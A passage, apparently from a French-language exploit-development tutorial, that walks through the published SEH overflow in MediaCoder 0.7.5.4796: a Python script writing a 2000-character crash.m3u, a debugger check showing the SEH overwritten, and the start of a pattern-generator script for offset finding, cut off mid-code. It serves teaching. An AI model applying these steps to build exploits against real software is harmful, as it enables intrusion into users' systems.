Sommaire

Cas concret : MediaCoder-0.7.5.4796

Le logiciel utilisé est ici MediaCoder-0.7.5.4796 que vous pouvez récupérer à l’adresse suivante : http://www.digital-digest.com/software/mediacoder_history.html

Nous pouvons bien sûr nous entraîner sur ce logiciel car la faille exploitée a été publiée : http://www.exploit-db.com/exploits/15663/

1. Crash du logiciel

Nous allons tenter de "faire planter" le logiciel MediaCoder. Pour cela, nous allons créer un petit programme en Python qui va créer le fichier crash.m3u. Nous ouvrirons ce dernier avec MediaCoder qui sera lui-même attaché à Immunity Debugger.

obFichier = open(’crash.m3u’,’w’) 
obFichier.write("A"*2000) 
obFichier.close()

Les 2000 "A" sont mis au hasard, ce que nous voulons c’est savoir exactement quand sont écrasés le SEH et le nextSEH.

images/09EP25N.png

Nous pouvons aller voir ce qu’il se passe du côté du SEH : View - SEH chain

images/09EP26N.png

Nous remarquons que l’on a bien écrasé le SEH avec 41414141.

Continuons notre exploration en remplaçant les A par 2000 caractères qui, pris quatre à quatre, ne sont jamais identiques. Pour cela nous utilisons genbuf.py dont le code est donné ci-dessous :

#!/usr/bin/env python  
import sys  
import string  
 
def usage():  
    print "Usage: ", sys.argv[0], " <number> [string]"  
    print ...